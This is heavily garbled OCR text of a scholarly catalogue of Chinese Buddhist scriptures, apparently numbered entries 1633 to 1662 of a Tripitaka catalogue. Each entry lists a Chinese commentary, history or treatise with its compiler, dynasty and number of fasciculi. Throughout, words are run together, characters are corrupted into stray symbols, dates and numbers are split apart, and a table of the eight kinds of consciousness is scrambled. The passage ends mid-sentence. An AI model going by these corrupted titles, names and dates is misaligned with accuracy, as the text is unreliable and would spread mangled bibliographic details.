3 84-417. no fasciculi. This work is generallyquoted by the short name of Ku-wi-mo; and it isa very well-known comment.163 3
. . . . ftg Hw-yen-yuen-zan-lun-ki.Acommentary on the treatise on the origin of man according to.the HwA-yen school, No. 159 4. 'A DiEciculi.Aa 23 59 CHINESE MISCELLANEOUS WORKS. 3 60Compiled by Yuen-kio, in A. D. 13 22, under theYuen dynasty, A. D. 128o-1 3 68. 3 fasciculi.163 4fir. K-i-lun.' Atreatise on the eradication of doubt. 'JComposed by Tsz'-khan, a Chinese Bhikshu, andannotated by Sh'-tsz' (Simha), a Bhikshu of the Westernregion, both under the Min dynasty, A. D. 13 68-1644.5 fasciculi; 20 chapters. The third chapter answers,the question, why Bttddha is so called without mention-ing his family and personal name. All other chaptersrelate and . explain several sceptical views. It is avery 'interesting work.163 5 T` q H tttThien-thfti-sz'-kiao-i-tsi-ku.'Acommentary on (the treatise on) the four divisions of(Buddha's) teaching according to the Thien-thai school,No. 1551:Compiled by Man-zun, of the Nn-thien-ku ('south"India') monastery (in China), in A. D. 13 3 4, under theYuen dynasty, A. D. 1 280-13 68. i o fasciculi.163 6
rSCKiito-shalt-fa-shu. (Aconcordance of) numerical (terms and ,phrases) of the Law inthe vehicle of the teaching, or the Tripitaka. 'Collected by Yuen-tsin, in about A. D. 143 1, underthe Min dynasty, A. D. 13 68-1644. 12 fasciculi. Thisis a later collection similar to No. 1621.1 637gill Fo-tsu-li-tai-thuii-teat.Acomplete statement concerning Buddha and Patriarchs , inall ages. 'Ahistory of Buddhism.Compiled by Nien-kht, of the Yuen dynasty, A. D.128o-13 68. 3 6 fasciculi. The narration of this workbegins with the so-called first ruler of China, Phn-ku,down to A. D. 13 3 3 or 13 44, when the compilation;wascompleted. It relates several events concerning notonly Buddhism, but also' Confucianism and Taoism.1 63.$SIShn-lin-po-hhn.' Precious instruction of the Shan or Dhyttna school. 'Collected by Mi -hhi and Ku-n, of the later . (orNorthern) or Southern Sufi dynasty, , A. D. 9 60-1 28o ;and re-collected or added by Tsin-shan, Of the Mindynasty, A. D. '3 68- 1 .644. 4 fasciculi; about 3 00compositions.163 9 At," )64141011,-SA-kwn-fo-hwa- yen-kin-shu-kho.'An extract from two commentaries on the Buddhavatamsaka-vaipulya-s tra, Nos. 1589 , 159 0.Made by Khan-kwn, the fourth patriarch of theHw . -yen school, of the Thii dynasty, A. D. 618-9 07.3 o fasciculi.1 640Acollection of the meanings of the (Sanskrit) names translated(into Chinese). 'Collected by Fit-yun, in A. D. 115x, under theSouthern Sufi dynasty, A. D. 1 1 27-13 68. 20 fasciculi;64 chapters. This is a very useful dictionary of thetechnical names both in the Sa;iskrit and ChineseBuddhist literature, though much correction is required.1641;pqaShn-tsuri-k-mo.' Aright line of succession of the Shan or Dhyana school. ' Acollection of extracts from an older compiation {perhapsNo. 1526) of the sayings of the eminent priests of thisschool,Collected by Zu-pa, in about A. D. 1488-15o5, underthe Mil dyn:. -qty, A. D. 13 68-1644. 20 fasciculi.1642W t ffi ttPi-kn-tshin-kvPi.' Pure roles (established) by Pai-kan (of the Tha dynasty, A, v.618-9 o7),Re-collected by Th-hwui, . and revised by 1 1 -su,both under the Yuen dynasty, A. D. 1 280-1 368.8 f:. . ciculi ; 9 chapters. ' Most of these rules howeverrefer to worldly matters ; so that they are not onlyfar from the Vinaya, but also from the original rules off,o. . 43 , fol. 1 2 b.1 643Sn-kio-pin-sin-lun.':An` tlnpsrtial (". even-mind. ") treatise on 'the three teachings ordoctrines; 'viz. Confucianism, Taoism, and Buddhism.Composed by Liu Mi,, of. the Yuen dynasty, A. D.1 280-1. 3 68. 2 fasciculi. In the first place it asserts.that all the three doctrines should not be despised,because they equally have the influence of causing manto practi_ , goodness , and avoid evil. In the secondplace it explains a difference 'of the final result of theseteachings. In the third place 'it confutes widely theopinions of Hu pi (A. D. 768-824), Eu-yfi Siu (Iot7-1 072),n Ho (103 2-1085), Khen I (103 3 -1107-),1Pit *1 * VII aKi-li-seh-kl^^a-ye-mo-no-shiSpoiled mindA/fgl'SZan-wu-i-shi3 61CHINESE MISCELLANEOUS WORKS. 3 62and Ku Hhi (II 30-x 200). These five Chinese literatiand philosophers are verywell-known as sceptical authorswho wrote against Buddhism. See Mayers' ChineseReader's Manual, p. 5o, No. 158; p, 165, No. 529 ; p. 3 4,No. 1 o 7 ; p. 3 4, No. 1 08; p. 25, No. 7 9 respectively.1644t NTsz'-man-kin-hhn.' Cautious instructions to priests. 'Acollection of about 200 compositions.Collected by Zu-p, in about A. D. 1488-1505 (cf.No. 1641), under the Min dynasty, A. D. 13 68-1644.1 o fasciculi.1645Sn-tsi-wan-tsi.Acollection of the compositions of (a priest of) Sn-tsi (nameof a place in China):Composed (and collected) by Ki@ -sun, who died inA. D. 107 2, under the later Sun dynasty, A. D. 9 60-1127.19 fasciculi. The first three fasciculi are the same asNo. 153 o.1646Ap" AP--shi-kwi-k.' (Acommentary on) the rules for (treating) the eight kinds ofconsciousness (Vignas):Compiled by Phu-thi, also called Han-shn-t-sh',of the ' Min dynasty, A. D. 1 3 68-1644. 1 fasciculus ;3 3 leaves. For the name of the compiler, see K'-tsin,fast. 42, fol. 22 a, where the two characters Pu-ku, oradditional commentary,' are added to the title of thiswork. The text consists of twelve verses, and it is saidto have been composed by the famous Hhen-kwn(Hiouen-thsang), of the Th&Ii dynasty, A. D. 618-gory.See a recent Chinese edition of7 ASian-tsun-p-0-kih-ki (fasc. 2, part 7), published inNanking, 1870. The following is a list of the eightVignas :SANSKRIT. PLI. CHINESE. TRANSLATION.(i) Kakshur-vigana(2) Srotas.(3 ) Ghrna(4) Gihv(5)Kya.(6) Manas(7) -Klishta- manasKakhu-vinaSotaGhanaGivhKayaManona ' Yen-shi'rhaEye-consciousnessEarNoseTongueBodyMindPiShShan(8) laya{a -lai-ye-shi^p Tsn=shiReceptical Mike)The last two Vignas are not explained in thebooks of the Hinayana.There seems to have been another work after No.1646 originally in this collection, viz. a commentary on"Rn^j 6` ; l Pai-fa-mili-man-lun, or ` Sata-dharma-vidydvra-astra,' No. 1 21 3, compiled byKwvi-ki, a celebrated disciple of Hhen-kwan. (Hiouen-thsang). See the original catalogue of the collection,last part, fol. 26 b, col. 6, where however two works(No. 1646 and the other) are mentioned as if one andthe same book. Cf. K'-tsin, fasc. 3 9 , fol. 20 a. Butthis work seems to be wanting in the present Japaneseedition, or in the copy 'of it in the India OfficeLibrary.1647 1 n ' . M VShan-yuc 1-ku-khen-tsi-to-s.'Agenral introduction to a collection of explanations on theorigin of Dhytna or meditation. 'Composed by Tsun-mi, the fifth patriarch of theHw-yen school, of the Thin dynasty, A. D. 618-9 07.4 fasciculi.1648Siu-sin-k@.' (Atreatise on) the secret of cultivating the heart. 'Composed by Phu-ko, a Corean priest of the Shnor Dhyana school, under the Yuen dynasty, A. D. I28o-13 68. 1 fasciculus.w3 63 CHINESE MISCELLANEOUS WORKS, 3641 649Kan-sin-kih-shwo.' An honest speech with the true heart. 'Composed by K'no, of the ShAn or Dhyana school,of the Yuen dynasty, A. D. 128o- 13 68. i fascioulus ;15 sections.1650 if At MOicX 06 W
n n 1'Atreatise on the prgions repository (or Ratna-pitakt}-saStra,written) by Safi-kilo, a teacher of the Law or a Buddhistpriest of the (Eastern) Tsin dynasty, A. D. 3 1 7-420. 'fasciculus; 3 chapters. The author lived inKh4. 11-fin, the capital of the Latter Tshin dynasty, A. D.384-41 7.'Aprecious mirror of the Lotus school, being (a work of a priestof) Lu-shan. 'Compiled by Phu-tu, about A. D. 13 14, of the Yuendynasty, A. D. I 280 13 68. xo fasciculi.1652 Aogittam. : JOOA(Atreatise on) the secret of " only mind or heart," (written)by K'-kiao, a teacher of the Dhyana school, of the Yuil-minmonastery. 'fasciculus. K'-kilo is the posthumous or honour-able title of Yen-sheu, who died in A. D. 9 75, underthe later Sun dynasty, A. D. 9 60-II 27.1 653. 4. 1 tit'Acompilation of (explanations for) determining doubts accordingto the Shan or Dhyna school. 'Compiled by K'-kh, of the Shan or Dhyina school,of the Yuen dynasty, A. D. I 280-13 68. i fasciculus.It gives some rules for thinking or meditating on, asubject.0 40 NHwaftpoh-kwhiln-sin-fi-yao.'The doctrine of the transmission of the heart (of Buddha, beingthe sayings of a teacher) of the Hwail-pohCompiled or recorded by Ft Hhiu, about A. D. 842-848, of the Than dyn z ty, D. 618-9 07. i fasciculus,The recorder was a minister of state under four suc-cessive reigns, A. D. 826-85. 6. He constantly heardthe preaching of the teacher Hhi-yun, and tooknote of it each time ; the result is the pre. ,nt work.He added a preface in A. D. 857. The teacher Hhi-yunwas a disciple of a disciple of the sixth patriarch ofthe Shin or Dhyana school, Hwui-nan, and lived onthe Hwin-poll hill, in the Ko-in district of Huii-keu.His school has consequently been called Hwasi-poh-tsun.(W-bak-shu, in Japanese sound). This school wasestablished in Japan in A. D. 1654 by a Chinese priestYin-yuen (In-gen), and it is one of ten existingBuddhist sects in that country at the present day.The Japanese editor of this collection of the ChineseTripitaka, D616, better known by another name Tetsu-gen (' iron eye '), belonged to this school.tju ;TrWin-shan-thufi-kwi-tsi.'Acompilation or work on the principle that several differentkinds of goodness have but the same final object, i. e. truth. 'Compiled or composed by Yen-sheu, of the Shan orDhyana school, of the later Sun dynasty, A. D. 9 60-11 27. 3 fasciculi.1656;i71" M AIRDIArIg4VitHwa-yen-farkik-kw&n-thun-hhiien-ki-silt. -ku.'Acommentary' on the verses in the Thu-hhen-ki (" record ofpassing through the hidden meaning ") of the work on themeditation on the Dharmadhatu, according to the Avatam-saka,siltra,' cf. Nos. L59 6, 159 8.The verses were composed by Pan-sun, about A. D.088, of the later Sun dynasty, A. D. 9 60-1127; andannotated by Tsuit-tsin, of the Yuen dynasty, A. D. I 28013 68. 2 fasciculi * t14 It A 'Buddhabhashita-paramartha-sudurlabha-rnahaguna-sdra, ob-tained in a dream by the Empress Zan-hhilo, of the greatMin dynasty, A. D. 13 68-1644. 'fasciculi. The Empress was the consort of Khan-tau, the third Emperor of the Min dynasty, who reignedA. D. 1403 -1424. She wrote a preface in 'A. D. 1 403 ,in which she says that on the new-year's day of thethirty-first year_ of the Hun-wu period, A. D. 13 9 8,she burnt incense and sat down quietly in her chamberand was reading some old sacred books, and when hermind was serene, there appeared suddenly a lightof the purple-golden colour,' etc. In that strangeway she obtained this Siam. This is, however, calledrightly in (f c. 41, fol. 13 a) 'a doubtful orfeise Satra. '1 6511 6541 655z3 65CHINESE MISCEI,EA. Z'dEOUS WORKS. 3 66Pe-ts-kh-nin-tsri-hin-hao-fu, orWorks wanting in the Northern Collection and now added from the Southern;Collection with their ` case-marks. '1 658tO f4Suh-kwhn-tan. -1u.' Acontinuation of the records of the transmission of the lamp (ofthe Law), No. 1524 'Compiler's name is not mentioned ; but it is statedin a work entitled Wi-mu-i-man, that this was com-piled by K-tin, a Srmana of the Lin-ku monastery,under the Yuen dynasty, A. D. 1280-13 68 (1). SeeK'-tsin, fasc. 42, fol. II a. 3 6 fasciculi. 3 118 eminentpriests of the Shn or Dhyana school are enumerated.1659 pqKu-tsun-su-y-lu.`Records of the sayings of the Sthaviras or (forty-three) eminentpriests (of the Shan or Dhyna school) of the former ages. 'Collected by Ts-tsn-ku, of the Southern Sundynasty, A. D. I I 27-1280 (?). 48 fasciculi.166o AeeNMShan-tsu-auli-ku-lien-shu-thuh. -tsi.`Acomplete collection of verses as a gathering of pearls on praiseof the former (patriarchs) of the Shan or Dhyna school. 'Collected' by Fit- yin, about A. D. 1174-1189 ,under the Southern Sun dynasty, A. D. 1127-1280 ;and continued by Phu-hwui, A. p. 129 5-13 18, of theYuen dynasty, A. D. 1280-13 68. 4o fasciculi. Thefirst collection consists of 3 25 articles, and 2100verses by 122 teachers of the school ; and the con-tinuation, of 49 3 articles, and 3 050 verses by 426teachers.1 661Fo-tsu-thu-ki.` Retords of the linage of Buddha and Patriarchs. 'Ahistory of Chinese Buddhism.Compiled by K'-phn, of the Thien-thai school,about A. D. 12 69 -I 271, of the Southern Suit dynasty,A. D. I I27-I280. 54 fasciculi.1 662 * flT-mill-sn-tsn-shun-kio-mu-1u.' Arecord of the titles or catalogue of the sacred teaching of thethree repositories or Tripitaka, (collected) under the greatMin dynasty, A. D. 1 3 68-1644. 'Compiler's name is not mentioned. 4 fasciculi.This was originally the Catalogue of the SouthernCollection of the Chinese Tripitaka, published in A. D.13 68-13 9 8, under the reign of the first Emperor ofthe Min dynasty ; in 3 fasciculi. See, K'-tsid, fasc. 45,fol. 15 a. But it is now in 4 fasciculi, and employedfor this reproductign of the Northern Collection (Nos.I-1621), first issued in A. D. 1403 -1424, under thereign of the third Emperor of the same dynasty, to-gether with some additional works (Nos. 1622-1662),published by Mi-tsn, in China, at the beginning of theseventeenth century of thehristian_era. Differencesin the order of works in both Collections are markedabove each title.Our Catalogue is based on this work, No. 1662, andthe divisions and subdivisions of the 1662 works men-tioned in it are adopted with a slight modification. Seethe table of contents above. It is the same work whichMr. Beal calls the Index, giving its contents minutely,in his own Catalogue, pp. 2-4, under Case I. Besidesthe fly-leaf and a list of contents, there are six com-positions added at the beginning, namely :-(I) Amemorial by the Japanese editor D6k6 to theJapan.
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